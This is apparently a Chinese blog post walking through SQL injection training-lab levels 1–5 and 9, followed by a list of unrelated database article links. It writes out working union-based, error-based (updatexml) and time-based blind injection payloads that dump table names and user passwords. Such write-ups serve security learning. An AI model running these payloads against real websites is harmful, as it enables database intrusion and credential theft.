sql注入靶场1-5,9关

第一关:

1通过id=1'的报错信息判断出,此关是'闭合 的字符型

2通过order by判断出该查询共有 3列

3通过语句?id=-1' union select 1,2,3 --+,判断出回显位置是2和3列

4接下来就可以构造sql语句去查询数据库信息

查询当前数据库?id=-1' union select 1,database(),3 --+

查询所有表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查询user表的字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询账号密码?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

第二关

1通过id=1'的报错信息判断出,此关是数字型

2用order by判断出字段数为3

3用上关的方法判断出回显为2,3

4然后同样的构造sql语句查询数据库信息

第三关

1同样用id=1'的报错信息判断出闭合方式为')

然后其他步骤相同,只有?id=-1')不一样

第四关

1输入?id=1'不报错,输入?id=1"的报错信息for the right syntax to use near '"1"") LIMIT 0,1' at line 1看出闭合方式为")

其他步骤一样的判断回显位置,判断列数,查询数据库

第五关

1通过id=1'的报错信息判断出,此关是'闭合 的字符型,再用id=1' --+语句,却没有数据回显,说明本关不适用联合查询,有报错信息,可以用报错注入,

2同样用order by判断出字段数为3

3用特殊的报错函数来构造特定的sql语句,将想要的数据库信息显示在报错信息中

查询当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

第九关

1不管?id=1后面跟的'还是"或者其他符合,回显都不会变,也没有报错信息。

2所以尝试单引号闭合的时间盲注?id=1' and sleep(5) --+,加载页面需要五秒,说明是对的,

3通过延迟时间,只能每个字符每个字符的查询?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,时间太久,可以搭配burp的爆破

相关推荐
DBA_G14 分钟前
南大通用GBase 8c数据库-两阶段提交事务状态保持讲解(下)
数据库
NineData15 分钟前
MySQL 到 Doris 实时数据同步:订单、用户和日志数据入仓方案
数据库·mysql
小小AK36 分钟前
采购订单同步策略实战:金蝶云星空到旺店通的字段映射与调度设计
大数据·数据库
前端 贾公子1 小时前
LangGraph == 图的状态(State)管理 (中)
开发语言·数据库·python
一条小小yu1 小时前
Text-to-SQL Agent
数据库·sql
Dovis(誓平步青云)2 小时前
现场问题先关闭还是先验收,建筑任务怎样处理依赖
前端·javascript·数据库·mysql·音视频
dishugj2 小时前
HANA监控、巡检与切换演练
数据库·oracle
a努力。2 小时前
四维解析Agent记忆架构:从零实战LangGraph长期记忆
java·开发语言·数据库
ss2732 小时前
PG实战笔记 | 04 PostgreSQL市场地位与实际案例
数据库·postgresql
众链网络3 小时前
Agent 重试的工程解法:幂等、断点续跑与熔断怎么落地
java·前端·数据库·人工智能